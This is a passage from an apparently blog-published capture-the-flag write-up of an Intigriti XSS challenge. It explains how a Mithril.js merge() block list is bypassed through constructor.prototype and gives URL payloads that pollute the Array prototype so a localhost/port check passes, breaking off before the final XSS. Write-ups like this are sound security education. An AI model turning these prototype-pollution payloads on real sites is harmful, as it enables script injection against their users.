&lt;p&gt;Apparently, &lt;code&gt;qs&lt;/code&gt; is an object that represents everything we passed to the URL query string, and when &lt;code&gt;qs&lt;/code&gt; has an attribute called &lt;code&gt;config&lt;/code&gt;, it is merged to another object called &lt;code&gt;appConfig&lt;/code&gt; with the &lt;code&gt;merge()&lt;/code&gt; function. Cool, but it seems like really soon we are going to have tons of information to deal with, and when we try to see what's inside &lt;code&gt;qs&lt;/code&gt; with the browser DevTools console...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vZoDijq4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y175zgqysnz3up8bcyyf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vZoDijq4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y175zgqysnz3up8bcyyf.png" alt="qs is not defined" width="559" height="90"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I would really like to be able to see the variables' values in each part of the code, so I'm gonna change it a little bit!&lt;/p&gt;

&lt;h2&gt;
  
  
  🙈 Trying to Help Myself (skippable)
&lt;/h2&gt;

&lt;p&gt;So first of all, as the loaded page is just an HTML file, we may just download it with wget or copy/paste its' source inside of a local .html file.&lt;/p&gt;

&lt;p&gt;We could (and will, in the final steps) just use the browser DevTools for debugging, which is actually easier in more general terms, but I like the idea of having things running locally and adapting the code so I don't need to set breakpoints everywhere. If you don't care about this process, you can just skip whatever sections which have &lt;code&gt;(skippable)&lt;/code&gt; included in their titles.&lt;/p&gt;

&lt;p&gt;Once we download the file, and load it into the browser, everything just works as expe...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Lb8_pC7x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/65il8mimvlr90trzhyto.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Lb8_pC7x--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/65il8mimvlr90trzhyto.png" alt="a bunch of FILE NOT FOUND errors" width="786" height="299"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  😣 Solving Boring Setup Issues (skippable)
&lt;/h3&gt;

&lt;p&gt;As we're not in &lt;code&gt;challenge-0422.intigriti.io&lt;/code&gt; anymore, these files which are being referenced with relative paths won't really be found. So we have to change their relative paths to absolute ones, or maybe use the &lt;code&gt;unpkg.com&lt;/code&gt; URLs that are in comments like this one down below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Bzvrd58J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p3xrgnh346fvbk4n9e9v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Bzvrd58J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p3xrgnh346fvbk4n9e9v.png" alt="URL poiting to unpkg.com" width="620" height="81"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or my favorite approach, which is adding a &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag pointing to &lt;code&gt;challenge-0422.intigriti.io&lt;/code&gt; again! 🤗&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qJQ1C-Y4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g9yqo2k1vgfv51v6l2ot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qJQ1C-Y4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g9yqo2k1vgfv51v6l2ot.png" alt="Replacing base tag" width="577" height="75"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now everything is gonna work perfe...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--X8-ZOIPr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ocnl85psxcgna3156iqj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--X8-ZOIPr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ocnl85psxcgna3156iqj.png" alt="CSP errors" width="782" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now it's time for the CSP to bother us 🤬. It happens because although the base tag references intigriti.io, we are not really there, but actually just loading a file locally.&lt;/p&gt;

&lt;p&gt;We could also change its' definition in order to make &lt;code&gt;challenge-0422.intigriti.io&lt;/code&gt; allowed, but since our goal is to just be able to check variables values, the CSP is not that important for now, and we can just delete or comment its' line in the file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CriDpqf6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lye7kolweoyfw2go3j7h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CriDpqf6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lye7kolweoyfw2go3j7h.png" alt="Commented CSP tag" width="675" height="98"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After all this work, everything will be just normally loaded again! 🥳&lt;/p&gt;

&lt;h3&gt;
  
  
  🧐 Adapting The Code (skippable)
&lt;/h3&gt;

&lt;p&gt;So, the first I would like to see is the &lt;code&gt;qs&lt;/code&gt; variable, and it's inside the &lt;code&gt;main()&lt;/code&gt; function. In general terms, variables that are declared inside of functions cannot be used out of them. In case you would like to know more about variables behaviour in JS, Tania Rascia has this &lt;a href="https://www.digitalocean.com/community/tutorials/understanding-variables-scope-hoisting-in-javascript"&gt;amazing article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; function is declared without expecting any parameters, right above the &lt;code&gt;qs&lt;/code&gt; declaration:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zuc7zg7W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bghwp5tslldxvfd0sjpa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zuc7zg7W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bghwp5tslldxvfd0sjpa.png" alt="main function declaration" width="402" height="88"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And it's called right in the end of the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_h82LUUI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qd3hzbzc5518v2drywl7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_h82LUUI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qd3hzbzc5518v2drywl7.png" alt="main function being called" width="159" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we may just remove both declaration and calling, and then we'll be able to see the value of everything inside &lt;code&gt;main()&lt;/code&gt;, right? Let's check 🥳! And...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SJFf4FKs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zq82q3rm5qtg7fr3259j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SJFf4FKs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zq82q3rm5qtg7fr3259j.png" alt="Not yet!" width="564" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we look at the beginning of the script, there's something else we forgot about:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mW57TnbF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgqfjrcg3zse21if9gke.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mW57TnbF--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgqfjrcg3zse21if9gke.png" alt="All the code is inside a function expression" width="544" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All the challenge's code is written inside of a function expression! Although it is not the same thing as the function declaration which we already erased (more about it &lt;a href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Operators/function"&gt;here&lt;/a&gt;), the same rule about variables are applied here, in a way that after the code is executed, we cannot just check how the variables are in DevTools console.&lt;/p&gt;

&lt;p&gt;So we just have to erase/comment the lines where it begins and ends, and after that, when we go back to DevTools console...🥳&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wk6gLmiB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bs9efvm0yxmtcu4xqx05.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wk6gLmiB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bs9efvm0yxmtcu4xqx05.png" alt="Now it works and we can read the qs variable" width="792" height="123"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  👻 Let The Games Begin! 👾
&lt;/h2&gt;

&lt;p&gt;Now that any debugging checks will be easier, we can really dive into the code!&lt;/p&gt;

&lt;p&gt;It's possible to see a bunch of &lt;code&gt;m()&lt;/code&gt; being called in the entire code, and there's also a file named &lt;code&gt;mithril.js&lt;/code&gt; being loaded before the challenge script:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A5sWK_21--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t6hhq5b1emashpiz6oc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A5sWK_21--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t6hhq5b1emashpiz6oc4.png" alt="Mithril JS being used" width="612" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Based on these facts, I might assume that the whole challenge has an issue related to Mithril, which is a JavaScript framework meant for building SPAs. If we quickly make a Google search like &lt;code&gt;mithril.js cve&lt;/code&gt;, we are going to find something interesting!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5itjV_Ik--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/be3z1cpfd9fw8cyycgx5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5itjV_Ik--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/be3z1cpfd9fw8cyycgx5.png" alt="Prototype Pollution in Mithril JS" width="603" height="106"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So Mithril may have a prototype pollution issue! When we click on it and see the &lt;a href="https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2413673"&gt;content of the page&lt;/a&gt;, it shows a sample code snippet of a supposed &lt;code&gt;merge()&lt;/code&gt; function that may be vulnerable to this issue:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tRSXjX0_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vhxo3u5kwqon975fsjj8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tRSXjX0_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vhxo3u5kwqon975fsjj8.png" alt="Vulnerable code example" width="787" height="417"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basically, it is vulnerable because it applies no filtering to whatever is coming as parameters, in a way that the user input may have a prototype definition included!     🤯&lt;/p&gt;

&lt;p&gt;I have a blog about the importance of filtering user input, which can be found &lt;a href="https://dev.to/therealbrenu/api82019-injection-31c3"&gt;here&lt;/a&gt;, but remember that this &lt;code&gt;merge()&lt;/code&gt; function can be found in the code, because we already have seen it being called before, so let's see how it was defined!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Fg3KLXLk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lx6ajttq0vx1g6fwe483.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Fg3KLXLk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lx6ajttq0vx1g6fwe483.png" alt="The merge function is defined in a similar way, but a little bit more hardened" width="737" height="249"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the case of this month's challenge, the merge function is being defined in a similar way, but it has a blacklist filtering based on this array:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--c4IRYLZX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ykgjq686bouolqincxhn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--c4IRYLZX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ykgjq686bouolqincxhn.png" alt="Array of protected keys" width="720" height="25"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So whenever one of these protected keys are present, they will not be added to the final merged object. &lt;code&gt;__proto__&lt;/code&gt; is there, probably as a method of avoiding prototype pollution, but &lt;code&gt;__proto__&lt;/code&gt; is not the only way to get to a data type's prototype. We can also refer to &lt;code&gt;constructor.protoype&lt;/code&gt;, which keywords are not in the protected keys array 🧐&lt;/p&gt;

&lt;p&gt;If we try to apply it, using a payload like &lt;code&gt;config[constructor][prototype][test]=polluted&lt;/code&gt; in the URL, check what happens to &lt;code&gt;appConfig&lt;/code&gt; after it's being merged with &lt;code&gt;qs&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3afMUEjb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cnfmeyqculq0ascrtud1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3afMUEjb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cnfmeyqculq0ascrtud1.png" alt="there is no prototype" width="603" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The console shows no real prototype! 🤬&lt;/p&gt;

&lt;p&gt;Why does this happen? Well, if we go back to appConfig's declaration, here's what we're going to find:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--QIhFrfU---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w380z7rsfhox8j3uq6ln.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--QIhFrfU---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w380z7rsfhox8j3uq6ln.png" alt="appConfig is created with no prototype" width="408" height="158"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;appConfig&lt;/code&gt; was declared with &lt;code&gt;Object.create(null)&lt;/code&gt;, it has no prototype, and it sort of breaks the prototype chain (see &lt;a href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/Object/create"&gt;Object.create()&lt;/a&gt;). We cannot mess with the prototype of &lt;code&gt;appConfig&lt;/code&gt;, but it has an interesting attribute called &lt;code&gt;window-toolbar&lt;/code&gt; which is an array and was simply defined as &lt;code&gt;["close"]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Some may think that arrays can only have numeric indexes, but in JS that's not the case. We can handle arrays in a way that's very similar to generic objects, since arrays are implemented as objects too, they're just of a more specific type. See this example:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cZwIyOz7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oqn8p7xfrvmuey6hx2ef.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cZwIyOz7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oqn8p7xfrvmuey6hx2ef.png" alt="Array being treated as an object" width="415" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So what if we try to change the prototype of &lt;code&gt;appConfig["window-toolbar"]&lt;/code&gt;? With a payload like &lt;code&gt;config[window-toolbar][constructor][prototype][test]=polluted&lt;/code&gt;, this is what we will find:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LxFEV3Hc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ftul2z6d0j0mzr3measv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LxFEV3Hc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ftul2z6d0j0mzr3measv.png" alt="The prototype was polluted!" width="614" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It did work! 🥳&lt;/p&gt;

&lt;h2&gt;
  
  
  🏁 From Proto Pollution to XSS
&lt;/h2&gt;

&lt;p&gt;Okay, we could perform an array prototype pollution. Now what? It's still not an XSS! 🤡&lt;/p&gt;

&lt;p&gt;If we look for where the content of the page is generated...it's in this piece of code:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cg6o_QJE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mxel0sb6ghb0olbj0tff.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cg6o_QJE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mxel0sb6ghb0olbj0tff.png" alt="mount function" width="405" height="232"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Regardless of whether &lt;code&gt;appConfig["customMode"]&lt;/code&gt; is true or not, those beautiful windows will always be mounted inside this element called &lt;code&gt;devSettings.root&lt;/code&gt;, which is declared in the code section down below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VMiYQNqD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wqd4iqywnc8oanxfc5tk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VMiYQNqD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wqd4iqywnc8oanxfc5tk.png" alt="root element being declared" width="451" height="45"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Can we somehow edit &lt;code&gt;devSettings&lt;/code&gt;? Yes! Oops, No! I don't know, just look:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--i98eFS_R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i9jjy1exxx8bwuzfjbg5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i98eFS_R--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i9jjy1exxx8bwuzfjbg5.png" alt="dev settings can be merge if being accessed from localhost" width="343" height="78"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;qs.settings&lt;/code&gt; can be merged to &lt;code&gt;devSettings&lt;/code&gt; if &lt;code&gt;checkHost()&lt;/code&gt; returns true. Just by the fact that it involves a variable called "dev settings", we might assume that checkHost only returns true in cases of local accesses, but let's check it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2gDZt1GL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8o8v6curr49enrru0p1i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2gDZt1GL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8o8v6curr49enrru0p1i.png" alt="check host declaration" width="436" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So yes, it picks up location.host and checks if the access is coming from &lt;code&gt;localhost&lt;/code&gt; or the port is equal to &lt;code&gt;8080&lt;/code&gt;. Since I was loading just a file in the browser, location.host will be &lt;code&gt;undefined&lt;/code&gt;, so I think it's time to go back to &lt;code&gt;challenge-0422.intigriti.io&lt;/code&gt;. 😭&lt;/p&gt;

&lt;p&gt;Once back in the original challenge page, we can still debug stuff by going to the DevTools &lt;code&gt;Sources&lt;/code&gt; tab and defining a breakpoint inside of &lt;code&gt;checkHost()&lt;/code&gt;, just by clicking on the desidered line number, the result would look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--V2IG7KTV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sfystw64ra6dw41pwd7z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--V2IG7KTV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sfystw64ra6dw41pwd7z.png" alt="Breakpoint defined before the function returns" width="619" height="141"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now reloading the page and checking the variables inside of the function, this is what we are going to get:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yAEJJv5b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5g23v6dc6q2q9gakkf0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yAEJJv5b--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5g23v6dc6q2q9gakkf0i.png" alt="variable values" width="434" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;temp&lt;/code&gt; array has just one index, since &lt;code&gt;challenge-0422.intigriti.io&lt;/code&gt; has no explicit port definition, and because of that, the value of &lt;code&gt;port&lt;/code&gt; becomes 443.&lt;/p&gt;

&lt;p&gt;We cannot mess up directly with &lt;code&gt;location.host&lt;/code&gt;, because it would redirect the page. But hey, we just discovered a way of polluting array prototypes! Let's just use it! 🤠&lt;/p&gt;

&lt;p&gt;&lt;code&gt;temp&lt;/code&gt; doesn't have a [1] index, so we can define it by ourselves! We just need to pick up the previous test payload and replace the test attribute with 1, and also setting 8080 as its' value instead of "polluted", resulting in:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;config[window-toolbar][constructor][prototype][1]=8080&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;By using it and setting the same checkpoint that we've set before, these are the values the we will get now:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--i1Crg6lV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u9h36kcxczt2i7vgpzj5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i1Crg6lV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u9h36kcxczt2i7vgpzj5.png" alt="The port is now 8080" width="381" height="190"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This means that &lt;code&gt;checkHost()&lt;/code&gt; will return...🥁&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6a82I67I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l67mo26kre5xueyhqlf6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6a82I67I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l67mo26kre5xueyhqlf6.png" alt="true" width="195" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yay! So now we can use &lt;code&gt;qs.settings&lt;/code&gt; as a way of changing &lt;code&gt;devSettings&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;Now, before trying to overwrite something inside &lt;code&gt;devSettings.root&lt;/code&gt;, let's see what it has for us by setting a new breakpoint:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--M5fMR_SE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pj5o35dfr7r1zuleb20j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--M5fMR_SE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pj5o35dfr7r1zuleb20j.png" alt="breakpoint at line 216" width="552" height="162"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hey, look at this cool attribute that we could just use as a way to get XSS!&lt;/p&gt;

